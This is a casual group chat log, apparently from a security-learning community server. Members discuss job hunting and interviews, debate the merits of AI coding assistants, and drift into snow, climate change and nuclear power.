Set your expectations lower and get your foot in the door before advancing up the ranks if possible. Two months is also a low timescale with how bad the market is right now

[rugged kayak]

i just applied for devops internship, do you have any advice for me if i get the interview or a job even

[fading onyx]

I've been trying to get security engineer and SoC and nothing. I just started learnign pentesting so I do not even try for such positions not to make a fool of myself,

[round orbit]

Got my job interview on Thursday

Need to rehearse my presentation

[fading onyx]

Learn azure, aws, git if you can in your job.

[sinful moon]

mhmm

[fading onyx]

also docker and kubernetes

[rugged kayak]

git i know well, i have some experience with docker and setting up linode instances

[sinful moon]

It is magical when boss is like “uh I need a single server serving three legacy web clients, can you do that”, two days later I have a Docker Compose config just for that

[fading onyx]

try to automate as much as you can but test it out not to mess up and do not tell anyone you did automate your job

[rugged kayak]

docker compose is goated

[round orbit]

Use Copilot AI

[rugged kayak]

i have script that installs my arch dotfiles 💀

[sinful moon]

There are programs that already do the same thing, but fair enough

[fading onyx]

It's not a bad idea. I use ai a lot but doublecheck what it returns. It really helps to rapid prototype scripts

[round orbit]

You can’t hide from the future man @sinful moon

[whole gazelle]

[sinful moon]

Future man required checking behind him to make sure his work is correct

like asking an intern to code something up for you

[round orbit]

It’s more about getting tasks done quicker, and spending less time on repetitive tasks

[fading onyx]

this ^

[round orbit]

Not getting it to do work you don’t understand how to do lol

[rugged kayak]

ai makes easy tasks easier and hard tasks much more harder

[sinful moon]

Just god forbid if you don’t notice a vulnerability that’s being entered into the codebase over a simple “well I didn’t actually code this myself”

[rugged kayak]

dont use ai for coding or you will start to suffer from skill issues pretty fast

[round orbit]

As an industry professional who doesn’t rely on AI, you should easily be able to spot when AI makes a mistake

[rugged kayak]

i tried copilot and i was getting work done a lot slower and it just started annoying me and getting in my way

[rugged kayak]

people want to write code, not do code reviews of garbage that ai produced

[sinful moon]

Yeah while it can give you solution, I’d just re-code them yourself under more ideal circumstances

[fading onyx]

People can use AI just fine IF they understand the code that it returns and know what it does. For me asking AI to write to do something in python and then fixing issues if it does not work and sometimes optimizing it is easier than wasting 4 hours to search for libraries or scroll throught documentations.

[round orbit]

Why do you assume AI can only be used for generating code? 😆

[whole gazelle]

bro u started talking about copilot first

[sinful moon]

“what’s wrong with my code” is a far way off from “code this for me”

[rugged kayak]

i did not assume, its currently its most common use case

and i am speaking as developer therefore i will talk about ai and coding

[fading onyx]

But it also helps to understand what is wrong with the code too.

[sinful moon]

yes I was speaking in support of such

[rugged kayak]

i say if you cant read code you have skill issues

but that is just me

[fading onyx]

try to feed ai with random java 50 lines exception it will explain it to you like you are five

[sinful moon]

Realistically we are just not there yet imho

it can be a helpful tool, but needs mountains of human oversight or things go wrong quick

Can also run afoul of open source licensed code and more it was trained on, sometimes used verbatim

[round orbit]

Lmao what? Again, it’s a tool, not a replacement. Idk about you but I’m all for a tool that can speed up both development and learning

[rugged kayak]

asking ai to analyze you a piece of code is you avoiding learning

[upper minnow]

i really dont want to use it so i dont end up addicted

[rugged kayak]

ai makes mistakes

[sinful moon]

Meanwhile I personally see it as a handycap where people are just accepting the results with a quick once over and commiting

[rugged kayak]

reading code is necessary skill

[round orbit]

Not a reason not to use it. Not all sources on the internet are true 🤷🏽‍♂️

[rugged kayak]

i am not speaking from internets sources i am speaking from my experience

[sinful moon]

That’s true but typically people are being more skeptical about these posts than AI “magic”

[rugged kayak]

for example i had to fix a feature on some golang framework with text wrapping

[fading onyx]

No it's not

[rugged kayak]

i asked gpt and it gave me bullshit

[round orbit]

^

[rugged kayak]

i had to read the code to understand it

[naive violet]

https://www.theregister.com/2025/02/11/microsoft_study_ai_critical_thinking/

[sinful moon]

No I will disagree there, “whats wrong with my code” is a much better use of AI then “generate some code for me”

[wooden totem]

It's not all black and white guys

[naive violet]

https://www.theregister.com/2024/01/27/ai_coding_automatic/ also

[rugged kayak]

ai is simpy a tool, doesnt mean its a good one

[round orbit]

Some of the top fortune 500 companies are using AI to help their development teams analyse code

[rugged kayak]

copilot is just a llm

mid llm

[sinful moon]

Yes Microsoft claims that 30% of their code is now AI generated that that’s terrifying lol

[naive violet]

Enron was fortune 500

Look what happened to them.

[sinful moon]

indeed lol

[wooden totem]

sloboda might've had a bad experience with ai, I can tell

[naive violet]

I've seen someone outsourcing all their thinking to AI

It's... Scary

[sinful moon]

imho no matter which way you stand, it’s healthy to bring some skepticism and critical thinking into the mix

[jolly aspen]

Hold on. Ai is thinking up a response for me

[sinful moon]

Yes Adobe Illustrator is quite neat lol

[rugged kayak]

i mean look at the whole devin scam

[round orbit]

I don’t think you can blame AI for the downfall of a company lol

[rugged kayak]

6 months old startup worth over 2 billion

[sick lance]

Why not?

[sinful moon]

(you didn’t capitalize the I, and traditionally Ai is adobe)

[upper minnow]

not yet maybe

[naive violet]

I wasn't, funnily enough that was 2001 or so...
It's a point about Fortune 500.

[rugged kayak]

you blame the greed c-suite for firing the working force

ai is cheaper than devs

if you fire dev over ai you deserve to fail

[fading onyx]

For example here https://www.perplexity.ai/search/explain-this-code-to-me-interf-tYfjBg3TQb6x8AlyNOzBvQ#0 AI can help someone to understand code by explaining what it does and how it does it.

[round orbit]

Or you buy the team copilot licenses for the devs to support them and retain them as loyal employees 🤔

[sick lance]

Difference is what you take from the output.

[sinful moon]

Honestly AI for uses like that are just a fancy search engine and should be treated as scuh

[wooden totem]

idk about yall but I don't like the word "AI"

[sick lance]

With a copilot license?

[sinful moon]

mhmm, LLM is much more descriptive

[upper minnow]

yea like i said, grow addicted to it and wont be able to code without

[fading onyx]

damn that share button is broken again, fixed the link

[round orbit]

If they use it effectively, they will save themselves time, have more of an impact, contribute to the company’s success

[whole gazelle]

yeah, that's the same reason i don't chat gpty

[sinful moon]

While LLM are helpful, it can also cheat yourself out of the critical thinking and problem solving required for a task

[round orbit]

Yeah that is a concern, people are becoming reliant on AI too

[sinful moon]

Just like on THM, why cheat answers, you’re cheating yourself out of the education

[rugged kayak]

you cant effectively use chainsaw for job that requires a scalpel

[rugged kayak]

this is what i am saying too

[wooden totem]

sometimes you need to chop down a tree before carving a toothpick

[sinful moon]

On the flip side, yes AI/LLM is helpful and can be a game changer to some, but you need to read it as if your dumb intern wrote it

[wooden totem]

I'm such a great poet

[round orbit]

Me too

[naive violet]

When it works.
I hate Google's integration of AI, if I listened to it, it would have killed me with electrical safety misinformation.

[rugged kayak]

code analysis for exmaple, i will just spit you out the answer you need

you didnt do any work

[round orbit]

You can use -ai when googling to hide the AI response iirc

[wooden totem]

tell it to do otherwise

[fading onyx]

It's just a tool. Tools are made to make works easier. Would you say a farmer cheats because he uses a tractor instead a plow?

[whole gazelle]

yes

[round orbit]

Literally this

[sinful moon]

That’s not a great analogy at all

[round orbit]

It’s not great it’s the greatest

[upper minnow]

i do sometimes use it to explain me what some code does though

[sinful moon]

That’s like saying that if you’re not using AI to “plow your fields” you’re backwards and doing it wrong

[wooden totem]

not great, not terrible

[naive violet]

I've lived through the crypto fad.
This too shall pass.

[sinful moon]

indeed, we all have

[naive violet]

Both times, Nvidia selling the shovels...

[sinful moon]

suprised people haven’t learned from NFT and crypto era

[round orbit]

@wooden totem Our backups are safe, it isn’t a dream. Immutable backups, backed up by Veeam

[fading onyx]

Or even better. People shouldn't use Visual Studio, IntelliJ or any kind of IDE because it is cheating. They should use notepad or vi to code. Automatic suggestions? lint? Cheating!

[wooden totem]

thats just a hype train, it happened millions of times throughout history

[sick lance]

Oh god crypto

[sinful moon]

I will say that at least AI has some small tangable benefit in comparison to the above though

[sick lance]

Don't bring that shit storm back

[sinful moon]

but this is nothing new

look back at mid 80s episodes of The Computer Chronicles and it’s AI this and AI that

[sick lance]

Ai can be useful, where it's used in Hospitals and such.

[round orbit]

Or anywhere

[sick lance]

But it's been used there long before it was used for code.

[wooden totem]

yup totally, beep boop thingamabob works yes, excellent

[sinful moon]

AI sure didn’t change the world in the 80s and it remains to be seen if it impacts things meaningfully now other than bad code

[round orbit]

There’s no doubt as to why millions of companies and individuals are adopting AI, and why it’s already becoming integrated with some of the world’s leading tech.

[sick lance]

Because it's the latest fad.

[sinful moon]

hype is why

[round orbit]

No it’s not

[carmine tinsel]

AI addicts when they gotta think for themselves 😱

[sinful moon]

helps their profit margin and stock market valuation

[lament tendon]

Hyprland workspace management is kinda cringe, not gonna lie.

[round orbit]

Did Apple of Microsoft release a software update when NFTs were popular?

[sinful moon]

saying you use AI is the key to boost your market valuation in the stock market

[sinful moon]

No but game companies sure did

and fell flat on their face

[carmine tinsel]

lol

[sick lance]

No because NFT's were shit

[round orbit]

It’s a $196 billion industry

[upper minnow]

just like the metaverse was

[sinful moon]

AI at lest as the potential for something, but we’re not there yet

[carmine tinsel]

every time someone copy and pastes code from ai without knowing what it does, an angel loses their wings

[fading onyx]

Except it did. Google R1 at Digital Equipment Corporation and XCON

[sick lance]

Ai creates lazy students,.who carry that out from beyond their studies.

[sinful moon]

Those were decision making applications and nothing like the AI we’re familiar with today

[lament tendon]

If you know how market caps are actually calculated, you would know that this is a lot of hot air.

[fading onyx]

it was considered AI at that times and they were created while working on AI

[round orbit]

Seems to be a lot of bias towards AI preventing learning and cheating. AI also helps to save lives, prevent fraud, so many good things that aren’t being mentioned here

[carmine tinsel]

well that is true, AI has helped the medical field a lot

[sinful moon]

iirc the term was “expert systems” in the 80s because they were supposed to help you make decisions as if you had an AI expert on the team

[carmine tinsel]

its just as a student I see the laziness up front in my daily life

[sinful moon]

But realistically they were all pre-fed answers in a matrix of if;than;else statements

[wooden totem]

would a lab-created brain be counted as AI?

[sick lance]

Ai used to detect brain anomalies is more useful than teaching somebody how to code, or write a report.

[fading onyx]

Can you elaborate?

[round orbit]

Assuming you’re just fine tuning it, yes

[sinful moon]

And a significantly better use of tech that’s actually all about pattern recognition

[wooden totem]

lab grown brain, it thinks like a living thing, it's made of biological material and it has intelligence

[jolly aspen]

Even still, these are used in a consensus process. It’s not making decisions

[silver sky]

Apparently AI cannot manage your security 😉

[fading onyx]

Just like our own inteligence. Humans thousands years ago: Me monke me want eat and sleep. Humans now I do not need to explain do I?

[sick lance]

More of an aid.

[sinful moon]

That is extremely reductive

[fading onyx]

But that is how it works

[sinful moon]

You have no idea how complex our brains were even then

[fading onyx]

something need to be primitive and bad to be slowly improved and get better. Nothing is created good or perfect in the first place

[sinful moon]

For example, think for a moment why humans can see more shades of green than any other color

[fading onyx]

evolution and specialization

[sinful moon]

we were adapted to see predators in the foliage from a primal level

[round orbit]

Colours don’t exist, they are just a perception of the brain

[sinful moon]

and even that task alone is something AI dramatically struggles with, despite advanced in AI image recognition

[jolly aspen]

Non-sequitur…

[sinful moon]

If we can’t even simulate something we do without thinking in early human evolution, we are nowhere close to this sorta thing

[jolly aspen]

Different wave lengths exists. Color being a representation of said wavelengths. It still exists. But sure the words we attribute to colors are purely arbitrary

[fading onyx]

That is because we are stupid and cannot make it learn better. But there was that experiment some time ago I forgot how it was called. To make it short scientists created AI with primary objective of communicating and learning. At first they were able to see how it communicated with each other but later it got so good at it that the speed of communication was better than any human made algorithm. The only issue was that scientists were no longer able to see what data was sent and recieved because for humans it was gibberish trash. They got scared and axed the project just in case.

[round orbit]

Created by the brain though

[jolly aspen]

The brain isn’t creating anything unless you are meaning hallucinations

[upper minnow]

you could also say that colours were always there waiting to be seen

and lots of other colours exist that we cant see

[shut hawk]

Not sure what point you're trying to make it here tbh

[round orbit]

Physical properties of light aren’t colour

[sinful moon]

No, the color representation happens due to the rod and cones in our eyes (which are processed upside down I’ll remind you, and our brain flip that right side up and interpurts the color signals we recieved from the eye)

[sick lance]

Think they're just arguing for the sake of it at this point.

[jolly aspen]

Yep

[sinful moon]

wut is all I have to say

[upper minnow]

wait how did the topic go to this

[round orbit]

I don’t know lmao

[fading onyx]

true but it is not color this are wavelengths that are translated by brain to colors. There is no color per se.

[sinful moon]

imho it’s always best to have a healthy skepticism about any new tech and to adopt it unquestionably is a mistake

[round orbit]

I like debating about topics, I guess it’s a way of learning

[jolly aspen]

So, no color, but how is this relevant to the ai discussion? Did I miss something or was it always about the arbitrary representation of color

[upper minnow]

i just really want AI to fail so we dont all run out of jobs lol

[lament tendon]

It's quite an old experiment where they had two AIs communicate with the task of optimizing language.
And, well, the AI optimized the language to a point where nobody was able to understand it anymore.

[sinful moon]

Skepticism also doesn’t mean “ignore facts you disagree with” it is how the scientific method works

[lament tendon]

But that was a couple years ago, lel.

[round orbit]

But isn’t AI creating jobs?

[fading onyx]

I want it to suceed but at the same time not to lose job. AI is our only hope for survival.

[sinful moon]

Oh I am familiar with that but lol, I couldn’t be bothered to read the paragraph tbh

[lament tendon]

Fair.

[whole gazelle]

i liked ai discussion

[jolly aspen]

Net positive or net negative

[upper minnow]

you sure the higher ups wont just leave 99% of the popyulation to die when they get AGI?

no need for a work force when AI can do everything

[round orbit]

AI will hopefully advance scientific studies, and either allow me to visit the moon or buy a flying car

[wooden totem]

thats called a helicopter

[sinful moon]

This argument goes back to the 1920s and ealier with automation, no we need staff to oversee the machines

[fading onyx]

They won't. Higher ups are stupid people with power. They need normal people like us to figure out stuff.

[round orbit]

A helicopter to the moon? Or a flying helicopter car?

[upper minnow]

not with an AGI, it would be able to figure out everything

[wooden totem]

a flying car is a helicopter

[sinful moon]

what

[jolly aspen]

Gishhhhhhgallop 🐎

[fading onyx]

How would these stupid people control AGI that would be several times smarter than humans?

[sinful moon]

lol we are nowhere near that point

[fading onyx]

They do not even know what VPN is

[round orbit]

I have some experience with AW159’s and it’s not as fun as the idea of driving the delorean time machine

[sinful moon]

technically neither does AI, it can just regertigate info

AI doesn’t even know how to multiply

it’s just trying to give us results it “thinks” look correct

[fading onyx]

yet

[upper minnow]

how would anyone at this point

[sinful moon]

Well we shall see but that would require something beyond a LLM

[fading onyx]

but combine Worm with AI and you have self multiplying AI 😉

[wooden totem]

yipee

[round orbit]

I remember in an interview I couldn’t explain the technical explanation of a VPN, despite knowing exactly what it is, having set them up, and using them all the time lol… proof that nerves can affect how you think

[sinful moon]

LLMs can’t do math because they were never designed to do so

[round orbit]

Just hope that doesn’t happen in my interview next week

[upper minnow]

honestly same

[sinful moon]

just say tunnel a bunch of times and call it a day

[fading onyx]

That's me on every single interview for job. I know this stuff normally and when working even in stress too. But when I am at interview my brain forgets everything 😦

[round orbit]

I’m glad you all agree with me lol, fucking hate interviews

Get the shakes sometimes too

[sinful moon]

But yep I maintain IPSec and SSL VPN stuff at work, and more for personal. I do think I’d be able to answer these questions on the spot as I’ve had to with third parties before

[upper minnow]

the only thing worse than working is getting a job

[sinful moon]

I do understand the anxiety though

[round orbit]

I think it’s the questions you weren’t expecting to be asked that get you… you spend so much time preparing on the questions you want to get asked

[upper minnow]

what about those weird as fuck questions they sometimes ask

[sinful moon]

Then you just be honest and answered informed guesses baed on the knowledge you already have, whilst stating as such

[fading onyx]

I hate current job market. Jobs are scarce, only for seniors. Requirements are insane, salaries are meh, remote work almost dead, companies fire people (me included).

[round orbit]

WhAts yOur bIggEst wEakNess

[shut hawk]

you know your character well enough 🤷‍♂️

[sinful moon]

I’m too dedicated to my work, and it seeps into my thoughts in my personal life

only half true lol

[sick lance]

I don't mind interviews.

[round orbit]

For me that’s pretty spot on

[wind lake]

i interview surprisingly well

[sick lance]

Had enough of them with THM.

[fading onyx]

Hearing this question

[wind lake]

just gotta make em laugh a bit, bring down the formality a little level

[sick lance]

That's how I finally met Ashu 😄

[sinful moon]

Mhmm some soft skills can work wonders taking the tension down

[upper minnow]

ive heard some companies are doing pre recorded interviews

[round orbit]

I have to give a 5 minute presentation on why they should hire me

[upper minnow]

those must be hell

[fading onyx]

I changed my mind. My biggest weakness is lack of humor

[wind lake]

bless you

[wind lake]

thats dumb

[jolly aspen]

Make a couple inappropriate jokes right off that bat so the only way it can go is up ⬆️

[wind lake]

good luck

[sinful moon]

Yeah when you said presentation, I thoguht surely you don’t mean… [what you literally just stated]

[sick lance]

Sadly, the timing was wrong and I had to turn down the job offer from TryHackMe.

[wind lake]

THEY should give a five minute presentation on why they YOU should work for them

[jolly aspen]

This is easy

[shut hawk]

turn the tables on the interviewer

"why should I work for YOU" 😂

[round orbit]

Yep and I don’t even have SIEM experience 😄 so I created a PowerPoint presentation with a slide that just reads “Skills can be taught. Being a proactive thinker and positive mindset is something you either are or aren’t”

[wind lake]

smart

[round orbit]

Obviously there’s more slides

[sinful moon]

To be fair even if it’s a pain, you can get SIEM experience at home, not to mention literal rooms for such on THM

[round orbit]

I’d like to think they didn’t invite me for the fun of it knowing I don’t have that exp

[rugged kayak]

is this ai yap still going on

damn

[sinful moon]

nah it’s moved into job stuff

[sick lance]

I had a full exam on Logrythm last year.

[upper minnow]

nah we talking interviews

[round orbit]

I was going to install Wazuh this weekend but I’ve had a sickness bug lol, that boat has kinda sailed now

[sinful moon]

That being said, I should disengage so I don’t spend all day here. Been a fun three hours tho lol!

[fading onyx]

I really hate coding parts of interview. My mind always goes empty on interview and the time they give is never enough. Few days ago I had 20 minutes to write a script in python. 20 minutes ended and they said to me that it looks like I wont make it as interview ends in 4 minutes and we finished it. After the interview I did finish that code in 2 minutes. Of course they did reply to me that they need someone more experineced. I feel like crap to this day 😦

[round orbit]

5 minutes of talking about yourself and having 4 others maintain eye contact the entire time I don’t personally consider to be easy

[wooden totem]

Speak slowly during interviews, gets you higher chances of sticking in the interviewer's mind

[round orbit]

I usually mimic the speed of the interviewer, creates a sense of similarity and trust 😉

[fading onyx]

https://tenor.com/view/flash-slothmore-zootopia-smiling-gif-12390417

[wind lake]

not too slow

[jolly aspen]

Oh god, creepy if over done

That wasn’t a joke

Mirroring is creepy

If done intentionally

[wind lake]

eye contact the whole time?

why?

[whole gazelle]

sorry can't talk rn watching ben 10!!

[jolly aspen]

No eyelids

[sinful moon]

imho maintaining your own personality and vibe is critical in an interview, don’t be disengenuine

[wind lake]

ahh

[thorn scaffold]

do you answer the "where do you see yourself in 5 years" question honestly? i always thought that question is a bit too private, like why would i tell you my life plans

[wind lake]

nope i dont

[round orbit]

Changing the pace of your presentation doesn’t necessarily mean speak at the exact pace as the interviewer lol

[wind lake]

i mean not usually but

last interview was the start of my career so it was easy

[fringe relic]

I couldn't answer that honestly, I don't know where I'm headed

[round orbit]

But they may be overwhelmed if you’re talking at 100 words per minute

[wooden totem]

Become the interviewer, mimick the way they talk and look around the room, how they sit, the way they are talking, can't stop there

[jolly aspen]

“Mimic the interviewer” your words cowboy

[round orbit]

This is what I’m imagining

[wind lake]

no

[shut hawk]

nah not at all

[wind lake]

you dont need eyecontact the whole time thats creepy

they will think you a robot

[thorn scaffold]

and whats the right answer to this question anyway? "ill pledge my whole life to your company"

[jolly aspen]

Become them

[sinful moon]

or like a primal challenge for “who blinks first” lol

[round orbit]

Yeah, if they’re pushing through questions, give them a speedy response, etc. my words are open to interpretation 😉

[round orbit]

I’m talking about them

[wind lake]

me if my team ever makes me turn my camera on

[wooden totem]

Start asking them questions
"So... John. Where do you see yourself in 5 years?
Are you confident in that answer?"

[round orbit]

@wind lake I think you have misunderstood lol

[sinful moon]

Work from home vibes be like, nope I don’t have a webcam, never showing my face. Win

[wooden totem]

Nobody notices when a person doesn't blink

I can confirm

[jolly aspen]

https://tenor.com/view/posay-alan-snyder-colony-series-gif-23608646

[sinful moon]

Alright time for finish my replay of Final Fantasy IX. I’ll be around, but I’m on Disc 4 eager to finish

[round orbit]

You can keep your webcam off if you’re having technical issues or your network doesn’t support it.

Me: funny you should say actually…

[wind lake]

ave fun

[wooden totem]

The plot was thickening but my imagination ran dry

[round orbit]

William Shakespeare 1564-1616

[jolly aspen]

“You are a captain of a ship, it’s sinking. There are 21 crew members and only 20 spots on the life raft, what do you do?”

[wooden totem]

I leave no bodies behind

[round orbit]

You go down with the ship

As an honourable captain does

[jolly aspen]

Wrong

[fading onyx]

Are there children and women?

[round orbit]

Unless you have 20 bullets?

[wooden totem]

I need 1 raft

[jolly aspen]

You convince your crew the boat is salvageable but only with their help. Once on the ship. You take the life raft and sail into the sunset

[wooden totem]

I'm very tool efficient

[round orbit]

Maybe it is salvageable?

[jolly aspen]

Already eaten from being lost at sea for the last 3 months

[sinful moon]

you house the 20 crew on the raft (already an unsustainable number for a raft) and swim along holding onto the back keel of the raft

[wooden totem]

They can't leave, they know who did it

[round orbit]

You’re bringing me memories of the time I was in the DRU

[shut hawk]

you become the engine

[sinful moon]

lol indeed

[wooden totem]

English

[fading onyx]

I would answet that everyone enters the raft including me. Rafts are designed to sustain bigger mass and capacity by design in the first place so I would just squeeze there.

[round orbit]

https://www.royalnavy.mod.uk/international-defence-training/onsite-courses/cbrndc-and-sea-survival/damage-repair-unit-ships-team-training

[sinful moon]

there’s never been a raft that holds 20 tho so, it’s presumably already above capacity

[round orbit]

Wrong

[sinful moon]

I’d love to see it

but also why only one raft

[jolly aspen]

Life rafts are pretty robust these days

[sinful moon]

that’s already against regulations

[mellow gull]

To be fair, in what world would you be given an elephant that you are not allowed to sell or abandon and, if so, what would you do with it?

[round orbit]

The RN survival raft I think holds up to 30

[shut hawk]

You'd stick it into the refrigerator of course

[sinful moon]

This doesn’t bring up a good result

[jolly aspen]

Eat it and build and ace ventura spy animal suit from its skin

For osint

[wooden totem]

Shrimp

[sinful moon]

lol

either way should never just be one raft anyways, so there would be options

[fading onyx]

Say it to people on titanic 😉

[sinful moon]

No even then they had far more than one raft, they just didn’t have enough

which lead to our current international regulations

[shut hawk]

yes well thankfully we're no longer in 1912

[wooden totem]

You have to convince them there is only one

[sinful moon]

Today it’s international regulations that your boat carry more life rafts than required to safely evacuate everyone, with a couple to spare

[fading onyx]

fun fact. Scientists did analyze the titanic story and apparently the dude could survive if he also did get on with the girl on that piece of wood or whatever it was. They calculated it would fit them both and not sink.

[round orbit]

Majority of people wouldn’t survive in the sea anyway, due to not being able to control their body in the water

[sinful moon]

yes but that’s a silly drama movie and not real life

but that study was correct

[wooden totem]

Good luck both climbing on

[round orbit]

Oh it was a 24 man life raft

[wooden totem]

Iceberg is there cus of global warming

[sinful moon]

I know you say that for the lols but wow that’s so dumb I’m having a hard time even thinking of a good response even in jest

[dark mason]

It's snowing here

It's so relaxing

[sinful moon]

Not as relaxing when it comes time to shovel/plow

[wooden totem]

Can you ship me the snow

[dark mason]

SHUT UP

[sinful moon]

lol we have more than enough here, come take some from Michigan

[thorn scaffold]

snow's only a vibe for a first couple of hours/ a day

[dark mason]

Let me enjoy the moment

[thorn scaffold]

afterwards you have to shovel it

and drive on it

not fun

[wooden totem]

Preferably in cloud form

[oak marsh]

legit, its a good vibe

until a meter comes

[dark mason]

It ain't reaching 15 cm

[oak marsh]

first half hour its fun
....
next 5 hours is scary

[sinful moon]

be honest, you have never seen a meter of snow in your life

[oak marsh]

not here my friend... not here

I have photo proof

[thorn scaffold]

bro is from siberia

[dark mason]

Yep, I doubt I have seen 40cm for snow

[sinful moon]

Serbia would do, but Michigan used to get that same kind of snow back in the early 1900s and sure doesn’t anymore

[jolly aspen]

I have! I’ve seen 2

[thorn scaffold]

siberia

not serbia

2 different things

[jolly aspen]

Lake effect on the west coast does

[sinful moon]

Heck it’s changed even since I was a kid, we used to get tons, now we’re lucky if it snows before Janurary

[wooden totem]

I mean do you want more snow

[round orbit]

Lucky?

[sinful moon]

no but it’s also a bad sign

[wooden totem]

As in more per snowfall, not more snowfalls

[jolly aspen]

Times a changin

[thorn scaffold]

lets all be honest, snow was fun when we were kids and had no responsibilities

[sinful moon]

so no it’s not an improvement when it spells our global impending doom in very visible form

[jolly aspen]

Snow is still fun

[thorn scaffold]

dunno, im not having fun in 7 am shoveling it from my car lmao

[sinful moon]

Both have dramatically decreased since the 90s, it’s been wild

[wooden totem]

Quality is a lil better

[jolly aspen]

Put a towel on your windshield the night before

[sinful moon]

Oh you mean contamination? Sure but that’s on track to get worse too lol

[wooden totem]

Less of this

[split compass]

🇨🇦 The snow is over my head ^^; Anyone got a snorkel?

[sinful moon]

Not sure if you’re been reading the news but no we’re trending to more of that

[wooden totem]

Where are my nuclear power plants!

[sinful moon]

At least the US is 🙃

agreed

[split compass]

Alabama and Georgia I believe. Also N.C.
And I've got two up here near me in Canada.

[jolly aspen]

Project is being built in Wyoming too

[sinful moon]

but no nuclear power and clean energy is scary and woke. We need to agressively pump CO2 into the amosphere to combat the woke

[split compass]

Don't you know, Carbon's good for the atmosphere, you need to put carbon in the atomsphere to feed the plants!

[jolly aspen]

This just took a turn 👀 🍿

[sinful moon]

It’s just depressing when we did actually work to fix the hole in the Ozone layer internationally but nah politics prevent us from fixing our current woes

[thorn scaffold]

i thought that global warming is a fad

[round orbit]

What is happening to the US rn

[thorn scaffold]

like 2010 fad

[mellow gull]

To be fair a lot of places have the opposite fear of Nuclear. There's a very big push by existing powers to prevent nuclear from becoming the primary source of energy in the world. Probably the most egregious example is Germany.

[sinful moon]

climate change is a fact we already see in motion

[thorn scaffold]

@copper stone yo whats up

[sinful moon]

Well each country has their own reasons why they either pushed Nuclear away or adopted it wholeheartely like France

Nuclear is orders of magnitude more safe and sustainable

[wooden totem]

China is pretty big

[mellow gull]

Yeah but that doesn't stop crazy propaganda from being told about it.